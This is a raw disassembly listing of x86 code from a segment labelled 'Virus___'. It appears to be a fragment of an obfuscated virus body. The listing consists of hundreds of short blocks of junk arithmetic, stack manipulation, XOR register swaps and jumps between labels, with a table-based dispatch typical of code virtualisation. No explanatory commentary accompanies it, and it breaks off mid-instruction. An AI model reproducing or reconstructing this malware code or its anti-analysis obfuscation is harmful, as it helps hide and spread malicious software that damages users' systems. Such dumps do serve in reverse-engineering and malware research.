loc_55FEBE ; --------------------------------------------------------------------------- loc_55889E: ; CODE XREF: Virus___:0056161Bj mov [esp], ecx jmp loc_550408 ; --------------------------------------------------------------------------- loc_5588A6: ; CODE XREF: Virus___:00554817j mov ebx, esp add ebx, 4 sub ebx, 2 xchg ebx, [esp] mov esp, [esp] mov [esp], bx mov bl, 3Bh add al, bl jmp loc_55814A ; --------------------------------------------------------------------------- loc_5588C4: ; CODE XREF: Virus___:0055170Fj add esp, 4 add eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_5627AD ; --------------------------------------------------------------------------- loc_5588DB: ; CODE XREF: Virus___:0055DDF4j add edi, 62A3B07Ch xor ecx, edi pop edi push edx mov edx, 1A7E3387h add eax, edx pop edx sub eax, 2E0043B9h sub eax, ecx add eax, 2E0043B9h push ebp mov ebp, 6B2F0677h shl ebp, 8 add ebp, 0EB77BC87h jmp loc_560CF5 ; --------------------------------------------------------------------------- loc_55890D: ; CODE XREF: Virus___:00563537j and [edi+1Ch], esi push dword ptr [esp] push dword ptr [esp] jmp loc_55AB14 ; --------------------------------------------------------------------------- loc_55891B: ; CODE XREF: Virus___:00550CEDj xor esi, [esp] pop esp or ebx, ebx jnz loc_55E711 push 59B5h mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_55D25E ; --------------------------------------------------------------------------- loc_558943: ; CODE XREF: Virus___:00563118j or ecx, 6942DFh sub esp, 4 mov [esp], edi mov edi, 88D0497h jmp loc_5508B0 ; --------------------------------------------------------------------------- loc_55895C: ; CODE XREF: Virus___:0054FD91j add esi, edx jmp loc_55FC40 ; --------------------------------------------------------------------------- loc_558963: ; CODE XREF: Virus___:0055E6E0j pop edi dec edi jmp loc_550137 ; --------------------------------------------------------------------------- loc_55896A: ; CODE XREF: Virus___:00553F67j mov ebx, 7DF829FFh shr ebx, 7 dec ebx shl ebx, 2 neg ebx or ebx, 1F4B3D05h sub ebx, 0C33BD58Ah mov eax, ebx pop ebx push eax xchg ebp, [esp] not ebp jmp loc_55931C ; --------------------------------------------------------------------------- loc_558992: ; CODE XREF: Virus___:0055AEF1j pop ebx jmp loc_562C6E ; --------------------------------------------------------------------------- loc_558998: ; CODE XREF: Virus___:005613F8j xchg al, ch xor ch, 6 shr ch, 2 jmp loc_564AA3 ; --------------------------------------------------------------------------- loc_5589A5: ; CODE XREF: Virus___:0055BB2Cj mov bx, [esp] push 4D51h mov [esp], ecx push 6B72h mov [esp], esp add dword ptr [esp], 4 pop ecx push edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 push 7829h mov [esp], eax push ebx mov ebx, 2 mov eax, ebx pop ebx add ecx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_5602D4 ; --------------------------------------------------------------------------- loc_5589F4: ; CODE XREF: Virus___:005564A4j add ecx, 0FF70F800h mov edx, ecx jmp loc_553176 ; --------------------------------------------------------------------------- loc_558A01: ; CODE XREF: Virus___:0055F88Bj push edx push edi push esp pop edi push edx push ebx mov ebx, 794F7C42h mov edx, 964F8314h sub edx, ebx pop ebx jmp loc_5634C3 ; --------------------------------------------------------------------------- loc_558A19: ; CODE XREF: Virus___:005563F7j add esp, 4 jmp loc_564A1C ; --------------------------------------------------------------------------- loc_558A21: ; CODE XREF: Virus___:0055936Cj push ecx mov ecx, esp add ecx, 4 jmp loc_559759 ; --------------------------------------------------------------------------- loc_558A2F: ; CODE XREF: Virus___:00558D33j pop eax push 0A97h mov [esp], ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 sub ebx, edi pop edi xor ebx, [esp] xor [esp], ebx jmp loc_561038 ; --------------------------------------------------------------------------- loc_558A54: ; CODE XREF: Virus___:0055CD48j mov ecx, ebp pop ebp and ecx, 266E659Ch shr ecx, 6 xchg edx, ecx inc edx xor ecx, edx xor edx, ecx xor ecx, edx inc ecx sub ecx, 10B994h push ecx mov ecx, 72DF4185h add edi, ecx pop ecx jmp loc_55BE14 ; --------------------------------------------------------------------------- loc_558A7E: ; CODE XREF: Virus___:00552DD2j sub eax, 63DB37B0h mov ebp, [esp] add esp, 4 dec eax sub esp, 4 mov [esp], esi mov esi, 69272C7Fh xor eax, esi mov esi, [esp] jmp loc_5572B3 ; --------------------------------------------------------------------------- loc_558A9F: ; CODE XREF: Virus___:0055696Cj add ebp, 1F12484Bh add ebp, eax sub ebp, 1F12484Bh pop eax jmp loc_55CFA1 ; --------------------------------------------------------------------------- loc_558AB3: ; CODE XREF: Virus___:00554DC2j sub edx, 665C675h add ecx, edx pop edx xchg ecx, [esp] pop esp push 16EAh mov [esp], esi mov esi, 2EDB1A42h xor eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_55CB7E ; --------------------------------------------------------------------------- loc_558ADD: ; CODE XREF: Virus___:005501DFj mov edi, 3E9E2DFFh xor edi, ecx pop ecx push ebp push edi mov edi, 5F3301B7h not edi neg edi not edi jmp loc_556C7E ; --------------------------------------------------------------------------- loc_558AF7: ; CODE XREF: Virus___:0055CEFAj add eax, 1D9608D2h jmp loc_55C992 ; --------------------------------------------------------------------------- loc_558B01: ; CODE XREF: Virus___:00554868j mov eax, 16DD3369h mov ebx, eax pop eax sub edi, 7D8C3A52h sub edi, 1E406108h add edi, ebx add edi, 1E406108h add edi, 7D8C3A52h mov ebx, [esp] add esp, 4 push edx mov edx, edi push ebx push edx pop ebx mov eax, ebx pop ebx pop edx jmp loc_5557D1 ; --------------------------------------------------------------------------- loc_558B3B: ; CODE XREF: Virus___:0055E3B8j sub ebx, 4 jmp loc_561617 ; --------------------------------------------------------------------------- loc_558B46: ; CODE XREF: Virus___:0054FD79j add eax, 4 push esi push 17221F2Ah mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp shr esi, 4 neg esi inc esi inc esi sub esp, 4 jmp loc_559519 ; --------------------------------------------------------------------------- loc_558B79: ; CODE XREF: Virus___:0055F4FAj sub esp, 4 mov [esp], ebx push esp pop ebx push 3AD0h mov [esp], edi mov edi, 70AA7F3Bh shl edi, 4 sub edi, 0AA7F3ACh sub ebx, 6CB529C2h sub ebx, 1FB06760h add ebx, edi add ebx, 1FB06760h push ecx mov ecx, 60C57142h add ecx, 0ACD34EDh or ecx, 247C2D76h and ecx, 64713ADEh push ebx mov ebx, 4F8E48A7h sub ecx, ebx pop ebx neg ecx add ecx, 81970B79h add ebx, ecx pop ecx push dword ptr [esp] pop edi jmp loc_55C2C1 ; --------------------------------------------------------------------------- loc_558BE3: ; CODE XREF: Virus___:00550634j add esp, 4 sub eax, 3D7348A2h jmp loc_557365 ; --------------------------------------------------------------------------- loc_558BF0: ; CODE XREF: Virus___:00558C21j add al, bl sub al, 3Fh pop ebx sub al, 1 add al, bh add al, 1 jmp loc_562503 ; --------------------------------------------------------------------------- loc_558C00: ; CODE XREF: Virus___:0055A24Aj pop ebp push edx mov edx, esp add edx, 4 push esi jmp loc_557300 ; --------------------------------------------------------------------------- loc_558C10: ; CODE XREF: Virus___:00559C0Dj dec ch sub ch, 93h sub bl, ch pop ecx add bl, 0C7h push ebx mov bl, 3Fh add al, bl pop ebx jmp loc_558BF0 ; --------------------------------------------------------------------------- loc_558C26: ; CODE XREF: Virus___:00555F9Ej dec eax sub eax, 53374DFAh xor eax, 0F518BC01h sub ebx, 48FD5274h jmp loc_561D4C ; --------------------------------------------------------------------------- loc_558C3C: ; CODE XREF: Virus___:00562D10j add ecx, 4FF71199h add edi, 3B007407h jmp loc_5562EE ; --------------------------------------------------------------------------- loc_558C4D: ; CODE XREF: Virus___:0056493Aj xor ecx, 330E09F5h add edi, ecx pop ecx jmp loc_55B1CC ; --------------------------------------------------------------------------- loc_558C5B: ; CODE XREF: Virus___:0055702Ej pop esp add esp, 4 and eax, edx pop edx jmp loc_55CC18 ; --------------------------------------------------------------------------- loc_558C67: ; CODE XREF: Virus___:00560AFAj pop esi push ebx push esi jmp loc_5528D9 ; --------------------------------------------------------------------------- loc_558C6F: ; CODE XREF: Virus___:00554425j mov ebx, esp push 7287h mov [esp], eax mov eax, 4 add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 3D04h jmp loc_56089C ; --------------------------------------------------------------------------- loc_558C94: ; CODE XREF: Virus___:0055123Cj mov edx, [esp] jmp loc_561D85 ; --------------------------------------------------------------------------- loc_558C9C: ; CODE XREF: Virus___:0055CB45j mov bl, 0Ch or dh, bl pop ebx push 2C07h mov [esp], edx not byte ptr [esp+1] pop edx jmp loc_5546D2 ; --------------------------------------------------------------------------- loc_558CB3: ; CODE XREF: Virus___:00560506j mov eax, 7E831AC9h push edx mov edx, 64B322C2h jmp loc_557759 ; --------------------------------------------------------------------------- loc_558CC3: ; CODE XREF: Virus___:00560FA3j push ecx mov ecx, 59835950h sub ecx, 0F026AD61h jmp loc_56174D ; --------------------------------------------------------------------------- loc_558CD4: ; CODE XREF: Virus___:0055DB0Ej mov esp, [esp] mov [esp], edx push eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_558CE1: ; CODE XREF: Virus___:005506BCj pop ecx jmp loc_55031C ; --------------------------------------------------------------------------- loc_558CE7: ; CODE XREF: Virus___:0055F31Aj push edx mov edx, 2CE51F1h jmp loc_55AFA7 ; --------------------------------------------------------------------------- loc_558CF2: ; CODE XREF: Virus___:00553001j xor ebp, 32EC1EF6h not ebp jmp loc_557A7D ; --------------------------------------------------------------------------- locret_558CFF: ; CODE XREF: Virus___:0054FF54j retn ; --------------------------------------------------------------------------- jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_558D05: ; CODE XREF: Virus___:00560BC2j add edi, eax jmp loc_5633D7 ; --------------------------------------------------------------------------- loc_558D0C: ; CODE XREF: Virus___:0055CB27j push edx mov edx, 5285324h xor edx, 7E062AB6h push edi mov edi, 1ACF63FAh jmp loc_55BB6C ; --------------------------------------------------------------------------- loc_558D23: ; CODE XREF: Virus___:0056360Dj mov [esp], ebp mov ebp, 3B504A64h jmp loc_55F602 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_558A2F ; --------------------------------------------------------------------------- loc_558D38: ; CODE XREF: Virus___:00554FE0j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg esi, [esp] mov esp, [esp] jmp loc_5575F0 ; --------------------------------------------------------------------------- loc_558D55: ; CODE XREF: Virus___:0055CE55j xor al, 0F0h mov ch, al pop eax sub ch, dl pop edx sub ch, 70h shr ch, 8 xor ch, 23h sub bl, ch pop ecx add bl, 9Ah movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov cx, [esp] push 23Dh mov [esp], eax mov eax, esp push edi mov edi, 3AA032F6h shr edi, 6 push eax mov eax, 287C1EB9h sub edi, eax pop eax add edi, 4E861314h sub esp, 4 jmp loc_55A162 ; --------------------------------------------------------------------------- loc_558DA5: ; CODE XREF: Virus___:00563D80j add esp, 4 jmp loc_55E435 ; --------------------------------------------------------------------------- loc_558DB0: ; CODE XREF: Virus___:0055B631j push edi jmp loc_551A8E ; --------------------------------------------------------------------------- loc_558DB6: ; CODE XREF: Virus___:00559B7Cj ; Virus___:0056019Dj ... sub esp, 4 mov [esp], edx push 5A33h mov [esp], esi mov esi, 38DC3E8Eh mov edx, 0C723C196h add edx, 7AF233BFh add edx, esi sub edx, 7AF233BFh pop esi add edx, edi push dword ptr [edx] jmp loc_561DCD ; --------------------------------------------------------------------------- loc_558DE6: ; CODE XREF: Virus___:00555706j push ecx mov ecx, 10E85846h shr ecx, 5 dec ecx jmp loc_55ED53 ; --------------------------------------------------------------------------- loc_558DF5: ; CODE XREF: Virus___:00561C86j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_558DFA: ; CODE XREF: Virus___:00562A06j shl bl, 1 push 0 jmp loc_5641C8 ; --------------------------------------------------------------------------- loc_558E06: ; CODE XREF: Virus___:00563A63j push eax xor [esp], edx xor edx, [esp] jmp loc_5641B2 ; --------------------------------------------------------------------------- loc_558E12: ; CODE XREF: Virus___:00564AD3j mov edx, ebx pop ebx push esi mov esi, 2A2379F3h jmp loc_553841 ; --------------------------------------------------------------------------- loc_558E20: ; CODE XREF: Virus___:00562541j add ebx, 3ABA53D2h pop edi add ebx, 61821B53h xor eax, ebx jmp loc_54FFC7 ; --------------------------------------------------------------------------- loc_558E34: ; CODE XREF: Virus___:005633D2j xchg edi, [esp] jmp loc_5541BF ; --------------------------------------------------------------------------- loc_558E3C: ; CODE XREF: Virus___:00562CE5j pop ecx add esi, edx mov edx, [esp] add esp, 4 push ebx jmp loc_55AEDC ; --------------------------------------------------------------------------- loc_558E4E: ; CODE XREF: Virus___:00550003j push edx push esp jmp loc_5590F2 ; --------------------------------------------------------------------------- loc_558E55: ; CODE XREF: Virus___:0055E4B3j mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_560E94 ; --------------------------------------------------------------------------- loc_558E65: ; CODE XREF: Virus___:00551029j mov [esp], ebp push 17D4EB6h pop ebp shl ebp, 3 and ebp, 38D024ACh sub ebp, 9409C56Eh and esi, ebp jmp loc_557DF2 ; --------------------------------------------------------------------------- loc_558E84: ; CODE XREF: Virus___:00561979j mov esi, 3E9D75CCh dec esi shl esi, 3 xor esi, 2F1F3211h or esi, 67200124h shl esi, 2 add esi, 5E20B5D2h xor [esp+4], esi jmp loc_552C8D ; --------------------------------------------------------------------------- loc_558EAB: ; CODE XREF: Virus___:005637B9j push eax mov eax, 2C6249A9h not eax jmp loc_55F3C2 ; --------------------------------------------------------------------------- loc_558EB8: ; CODE XREF: Virus___:0055A3EAj mov si, 6763h mov cx, si jmp loc_56351E ; --------------------------------------------------------------------------- loc_558EC4: ; CODE XREF: Virus___:0055546Cj add esi, 0AA8DA101h jmp loc_55382E ; --------------------------------------------------------------------------- loc_558ECF: ; CODE XREF: Virus___:005530CAj pop ebx push 41E7h mov [esp], edi jmp loc_55EA4B ; --------------------------------------------------------------------------- loc_558EDD: ; CODE XREF: Virus___:00550E3Cj mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add ebx, 65776D0Fh sub ebx, eax sub ebx, 65776D0Fh jmp loc_559A7D ; --------------------------------------------------------------------------- loc_558F0C: ; CODE XREF: Virus___:0055B679j xchg ebx, [esp] pop esp sub bl, al push ebx mov ebx, esp push esi mov esi, 4 jmp loc_553403 ; --------------------------------------------------------------------------- loc_558F20: ; CODE XREF: Virus___:00554DD6j add esp, 4 sub esp, 2 mov [esp], bx jmp loc_5576FE ; --------------------------------------------------------------------------- loc_558F32: ; CODE XREF: Virus___:0055CF0Ej mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_558F3A: ; CODE XREF: Virus___:0055F10Dj pop ecx neg ebp xor ebp, 5C983C2Ah jmp loc_55FED5 ; --------------------------------------------------------------------------- loc_558F48: ; CODE XREF: Virus___:00554EB1j xor eax, ecx pop ecx push ebp push ecx push 288865AFh pop ecx add ecx, 0EB05B711h jmp loc_5537CE ; --------------------------------------------------------------------------- loc_558F5E: ; CODE XREF: Virus___:00558560j push ecx mov cl, 2Fh neg cl jmp loc_55B311 ; --------------------------------------------------------------------------- loc_558F68: ; CODE XREF: Virus___:00551AEBj mov ebx, 1AF72E35h sub edx, ebx pop ebx sub edx, 7C7E78FBh add edx, eax add edx, 7C7E78FBh jmp loc_55EDC2 ; --------------------------------------------------------------------------- loc_558F83: ; CODE XREF: Virus___:005533E3j push eax push esi jmp loc_555AC5 ; --------------------------------------------------------------------------- loc_558F8A: ; CODE XREF: Virus___:00551D9Cj xor ecx, [esp] pop esp push small 13C7h mov [esp], bp mov bp, 551Fh add di, bp mov bp, [esp] push eax mov eax, esp add eax, 4 jmp loc_559E7D ; --------------------------------------------------------------------------- loc_558FAE: ; CODE XREF: Virus___:00554CAAj push dword ptr [esp] mov eax, [esp] push ecx jmp loc_55CCB3 ; --------------------------------------------------------------------------- loc_558FBA: ; CODE XREF: Virus___:005591A1j add eax, 100D00DDh add eax, ecx push esi mov esi, 585233C0h dec esi shl esi, 3 sub esi, 5AD8598Eh sub esi, 57AC438Dh sub eax, esi jmp loc_55A189 ; --------------------------------------------------------------------------- loc_558FDE: ; CODE XREF: Virus___:0055E367j pop edi xor edi, 134271BBh push edi inc dword ptr [esp] pop edi jmp loc_561DF5 ; --------------------------------------------------------------------------- loc_558FEF: ; CODE XREF: Virus___:0055EEC1j push edi mov edi, 4 add ebx, edi jmp loc_553C1A ; --------------------------------------------------------------------------- loc_558FFC: ; CODE XREF: Virus___:0055227Cj pop ecx push esi jmp loc_560A9F ; --------------------------------------------------------------------------- loc_559003: ; CODE XREF: Virus___:0055BD06j mov [esp], eax mov eax, 31E97FC1h push eax jmp loc_55D685 ; --------------------------------------------------------------------------- loc_559011: ; CODE XREF: Virus___:005505EAj pop ebx xor esi, ebx xor ebx, esi xor esi, ebx neg esi push ecx mov ecx, 1BD84553h sub esi, ecx pop ecx sub edi, 21880D27h add edi, esi sub esp, 4 jmp loc_5504A1 ; --------------------------------------------------------------------------- loc_559036: ; CODE XREF: Virus___:005507B2j push edx jmp loc_55EA79 ; --------------------------------------------------------------------------- loc_55903C: ; CODE XREF: Virus___:00560552j mov [esp], edx push 71940171h pop edx push esi mov esi, 7C1D487Bh jmp loc_553C2F ; --------------------------------------------------------------------------- loc_559050: ; CODE XREF: Virus___:00550778j push 28201B86h pop edi not edi shl edi, 8 add edi, 6007FBB8h jmp loc_551465 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebp mov ebp, esp sub esp, 4 jmp loc_55082A ; --------------------------------------------------------------------------- loc_559074: ; CODE XREF: Virus___:0055D488j add esp, 4 push edi mov ebp, [esp] jmp loc_55BBBB ; --------------------------------------------------------------------------- loc_559083: ; CODE XREF: Virus___:00557B05j xor al, bl jmp loc_563EAE ; --------------------------------------------------------------------------- loc_55908A: ; CODE XREF: Virus___:0055DCFFj cmp ecx, eax pushf jmp loc_55236C ; --------------------------------------------------------------------------- loc_559092: ; CODE XREF: Virus___:0055638Ej mov edx, esp add edx, 4 jmp loc_55EF18 ; --------------------------------------------------------------------------- loc_55909F: ; CODE XREF: Virus___:005569AEj or esi, 1D653C9Dh jmp loc_564B29 ; --------------------------------------------------------------------------- loc_5590AA: ; CODE XREF: Virus___:00562170j mov ebp, 2 jmp loc_55405E ; --------------------------------------------------------------------------- loc_5590B4: ; CODE XREF: Virus___:00556BE6j pop ebx add al, bl push ebx mov bh, 4Bh push ebx jmp loc_561060 ; --------------------------------------------------------------------------- loc_5590C0: ; CODE XREF: Virus___:00555C11j mov eax, 1BCC5326h add ebx, eax jmp loc_55656A ; --------------------------------------------------------------------------- loc_5590CC: ; CODE XREF: Virus___:00551BC7j mov edi, 7E7A5479h mov esi, 4EB1A70h xor esi, edi pop edi sub esi, ebp mov ebp, [esp] add esp, 4 add esi, 0FFFFFFFFh sub esi, 71C43829h jmp loc_55467B ; --------------------------------------------------------------------------- loc_5590F2: ; CODE XREF: Virus___:00558E50j pop edx sub esp, 4 mov [esp], ebp jmp loc_5529CC ; --------------------------------------------------------------------------- loc_559101: ; CODE XREF: Virus___:0055EEAFj pop ebp push eax push esi pop eax pop esi not esi jmp loc_54FA38 ; --------------------------------------------------------------------------- loc_55910D: ; CODE XREF: Virus___:00558442j add ch, dh add ch, 2Fh push dx jmp loc_55A3C4 ; --------------------------------------------------------------------------- loc_559119: ; CODE XREF: Virus___:00555237j add esp, 4 push ecx mov ecx, esp push 3814h mov [esp], esi jmp loc_563F9C ; --------------------------------------------------------------------------- loc_55912C: ; CODE XREF: Virus___:00562841j xor eax, ebp jmp loc_563E64 ; --------------------------------------------------------------------------- mov ax, [esp] push 468Fh mov [esp], ecx jmp loc_5552AE ; --------------------------------------------------------------------------- loc_559144: ; CODE XREF: Virus___:0055C9B7j push eax mov eax, 5DFE4790h or edi, eax pop eax xor edi, 2C08371Ah sub ebx, edi mov edi, [esp] add esp, 4 neg ebx jmp loc_5521F5 ; --------------------------------------------------------------------------- loc_559162: ; CODE XREF: Virus___:00550C87j mov edi, esp add edi, 4 jmp loc_55DE15 ; --------------------------------------------------------------------------- loc_55916F: ; CODE XREF: Virus___:00556559j mov [esp], cx mov cl, 0E8h add cl, 15h sub cl, 0AAh sub al, cl pop cx sub al, 79h sub al, bl add al, 79h add al, 53h push ebx mov bh, 4Eh sub bh, 63h add bh, 0Dh not bh jmp loc_5621D8 ; --------------------------------------------------------------------------- loc_559197: ; CODE XREF: Virus___:00553264j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_558FBA ; --------------------------------------------------------------------------- loc_5591A6: ; CODE XREF: Virus___:0055CD6Aj push dword ptr [esp] mov esi, [esp] add esp, 4 push 75FCh jmp loc_55A1D3 ; --------------------------------------------------------------------------- loc_5591BC: ; CODE XREF: Virus___:00556BB9j push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], esi jmp loc_5619BF ; --------------------------------------------------------------------------- loc_5591D0: ; CODE XREF: Virus___:00562D57j add eax, 2 jmp loc_5628E1 ; --------------------------------------------------------------------------- loc_5591DA: ; CODE XREF: Virus___:0055AD68j add bl, 23h sub bl, al push ecx jmp loc_55778D ; --------------------------------------------------------------------------- loc_5591E5: ; CODE XREF: Virus___:005583FCj mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_554113 ; --------------------------------------------------------------------------- loc_5591FA: ; CODE XREF: Virus___:0055C903j add esp, 4 add ebp, ecx jmp loc_5627FE ; --------------------------------------------------------------------------- loc_559207: ; CODE XREF: Virus___:00564B94j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov ax, [esp] push ebp mov ebp, esp push edi mov edi, 16D3376Ah push ebp push 7B5Bh jmp loc_55B694 ; --------------------------------------------------------------------------- loc_559229: ; CODE XREF: Virus___:0055DBF4j xchg ecx, [esp] jmp loc_55607F ; --------------------------------------------------------------------------- loc_559231: ; CODE XREF: Virus___:00556E7Fj pop esp jmp loc_5546DF ; --------------------------------------------------------------------------- loc_559237: ; CODE XREF: Virus___:005580C9j mov edi, 17B6023Bh push esi mov esi, 52A77C83h xor edi, esi pop esi jmp loc_556F0D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_559258: ; CODE XREF: Virus___:00551588j pop esp push 0B05h jmp loc_555964 ; --------------------------------------------------------------------------- loc_559263: ; CODE XREF: Virus___:00561248j shl esi, 8 jmp loc_562249 ; --------------------------------------------------------------------------- loc_55926B: ; CODE XREF: Virus___:00559C59j mov ebp, 63C11A6Eh xor ecx, ebp pop ebp push edi mov edi, 756346D5h jmp loc_55511F ; --------------------------------------------------------------------------- loc_55927E: ; CODE XREF: Virus___:00553626j add dword ptr [esp+4], 3A6C77DCh add [esp+4], eax sub dword ptr [esp+4], 3A6C77DCh pop eax jmp loc_552187 ; --------------------------------------------------------------------------- loc_559298: ; CODE XREF: Virus___:00555C57j push 11B7h mov [esp], esi mov esi, esp jmp loc_55B6D1 ; --------------------------------------------------------------------------- loc_5592A7: ; CODE XREF: Virus___:00562076j mov esi, [esp] jmp loc_5610D4 ; --------------------------------------------------------------------------- loc_5592AF: ; CODE XREF: Virus___:0056203Bj sub eax, 40267907h sub esi, eax pop eax or esi, 1B9832D8h add esi, 64030C27h mov edx, esi pop esi push esi push edx add dword ptr [esp], 5EFB1B9Eh mov esi, [esp] add esp, 4 sub esi, 5EFB1B9Eh mov ecx, esi mov esi, [esp] jmp loc_55C3C0 ; --------------------------------------------------------------------------- loc_5592E8: ; CODE XREF: Virus___:00560F06j pop ebx pop edx sub dword ptr [esp+8], 27F7095Bh add [esp+8], ecx add dword ptr [esp+8], 27F7095Bh pop ecx jmp loc_556347 ; --------------------------------------------------------------------------- loc_559304: ; CODE XREF: Virus___:0055A8F6j push 42415492h jmp loc_5649DC ; --------------------------------------------------------------------------- loc_55930E: ; CODE XREF: Virus___:0055733Aj xchg ebp, [esp] jmp loc_561F1C ; --------------------------------------------------------------------------- loc_559316: ; CODE XREF: Virus___:0055204Dj push ecx jmp loc_55EF88 ; --------------------------------------------------------------------------- loc_55931C: ; CODE XREF: Virus___:0055898Dj xchg ebp, [esp] pop eax shl eax, 3 add eax, 1 jmp loc_553F7F ; --------------------------------------------------------------------------- loc_55932D: ; CODE XREF: Virus___:00560254j xchg esi, [esp] pop esp push edx mov edx, 3D9623FFh add [esp+8], edx pop edx sub [esp+4], edx jmp loc_55B50B ; --------------------------------------------------------------------------- loc_559345: ; CODE XREF: Virus___:00554D08j mov [esp], edx mov dh, 4Ah not dh add dh, 0EBh shl dh, 3 push small 7EDDh jmp loc_5565A8 ; --------------------------------------------------------------------------- loc_55935B: ; CODE XREF: Virus___:0056159Ej pop edx xor esi, ebp pop ebp xchg ebp, esi dec ebp xchg ebp, esi jmp loc_55429F ; --------------------------------------------------------------------------- loc_559369: ; CODE XREF: Virus___:00557F01j mov [esp], esi jmp loc_558A21 ; --------------------------------------------------------------------------- loc_559371: ; CODE XREF: Virus___:0055DBEEj mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_55B636 ; --------------------------------------------------------------------------- loc_55937E: ; CODE XREF: Virus___:00558122j add dword ptr [esp+4], 1E301865h add [esp+4], edi jmp loc_556332 ; --------------------------------------------------------------------------- loc_55938F: ; CODE XREF: Virus___:005624FEj push esp pop dword ptr [esp] push 515Ch mov [esp], ecx jmp loc_5554BA ; --------------------------------------------------------------------------- loc_5593A0: ; CODE XREF: Virus___:00557EE8j add esp, 4 jmp loc_55D700 ; --------------------------------------------------------------------------- loc_5593A8: ; CODE XREF: Virus___:00551B99j mov ebp, ecx pop ecx add edi, 7F3162BFh sub edi, ebp sub edi, 7F3162BFh jmp loc_5614F2 ; --------------------------------------------------------------------------- loc_5593BE: ; CODE XREF: Virus___:0055BFA7j push esp pop edx add edx, 4 sub edx, 4 jmp loc_5634DC ; --------------------------------------------------------------------------- loc_5593D1: ; CODE XREF: Virus___:005615E0j pop eax mov eax, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] push 2BAEh mov [esp], ecx jmp loc_560E89 ; --------------------------------------------------------------------------- loc_5593EB: ; CODE XREF: Virus___:0056106Bj push ecx mov ch, 0FDh shl ch, 6 push edx mov dh, 2Eh push ebx mov bh, 0C5h sub dh, bh mov ebx, [esp] add esp, 4 jmp loc_559C05 ; --------------------------------------------------------------------------- loc_559404: ; CODE XREF: Virus___:00564876j xor edi, 0E4A11D1h jmp loc_553B52 ; --------------------------------------------------------------------------- loc_55940F: ; CODE XREF: Virus___:0055D8BDj add edi, 206315F6h jmp loc_55975F ; --------------------------------------------------------------------------- loc_55941A: ; CODE XREF: Virus___:00556B61j inc ebp neg ebp add ebp, 42224AD2h add edx, ebp pop ebp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_561706 ; --------------------------------------------------------------------------- loc_559437: ; CODE XREF: Virus___:005571AFj sub al, 0ACh push edx mov dh, 0BFh shr dh, 4 sub esp, 4 mov [esp], eax push ecx mov cl, 0DDh mov ah, cl pop ecx jmp loc_55DF60 ; --------------------------------------------------------------------------- loc_559450: ; CODE XREF: Virus___:00554D7Fj push esp pop edi push esi push ecx mov ecx, 683743DFh jmp loc_5544D9 ; --------------------------------------------------------------------------- loc_55945E: ; CODE XREF: Virus___:005595C0j add edx, 4 xchg edx, [esp] pop esp push eax mov eax, 1F810563h shr eax, 7 and eax, 0C343EACh dec eax add eax, 69F33230h xor eax, 7A1547F0h sub ebx, eax pop eax and ebx, 3B2F1BF6h jmp loc_56484A ; --------------------------------------------------------------------------- loc_55948F: ; CODE XREF: Virus___:0055EA74j not dword ptr [esp] jmp loc_563AE2 ; --------------------------------------------------------------------------- loc_559497: ; CODE XREF: Virus___:00558067j pop ebp xor edi, 4BAB0E4Ch add ebx, edi pop edi jmp loc_55F703 ; --------------------------------------------------------------------------- loc_5594A6: ; CODE XREF: Virus___:0054F912j sub eax, 28341546h xor eax, 7A135C7Dh mov esi, eax pop eax sub esp, 4 mov [esp], edi mov edi, esi mov ebx, edi jmp loc_5629C8 ; --------------------------------------------------------------------------- loc_5594C5: ; CODE XREF: Virus___:0055E027j pop eax sub ecx, ebp jmp loc_5627E2 ; --------------------------------------------------------------------------- loc_5594CD: ; CODE XREF: Virus___:00561E8Aj sub bh, 5Ah add al, bh pop ebx jmp loc_550658 ; --------------------------------------------------------------------------- loc_5594D8: ; CODE XREF: Virus___:0055D4EFj add ecx, eax push ebx mov ebx, 43581D13h jmp loc_5513E2 ; --------------------------------------------------------------------------- loc_5594E5: ; CODE XREF: Virus___:0055011Cj mov ecx, 444C3CC3h jmp loc_55C4B8 ; --------------------------------------------------------------------------- loc_5594EF: ; CODE XREF: Virus___:005632C9j mov edx, [esp] jmp loc_561A8E ; --------------------------------------------------------------------------- loc_5594F7: ; CODE XREF: Virus___:00559E28j xor ebx, eax jmp loc_5577C6 ; --------------------------------------------------------------------------- loc_5594FE: ; CODE XREF: Virus___:00550F6Cj add edx, 49D66F60h jmp loc_557906 ; --------------------------------------------------------------------------- loc_559509: ; CODE XREF: Virus___:00555D0Ej push eax jmp loc_562D37 ; --------------------------------------------------------------------------- loc_55950F: ; CODE XREF: Virus___:0055F346j xor dh, ah mov eax, [esp] jmp loc_55979E ; --------------------------------------------------------------------------- loc_559519: ; CODE XREF: Virus___:00558B74j mov [esp], ebp mov ebp, 71277AEFh neg ebp xor ebp, 0DE38BC94h sub esi, ebp jmp loc_556492 ; --------------------------------------------------------------------------- loc_559530: ; CODE XREF: Virus___:0055620Bj mov esi, 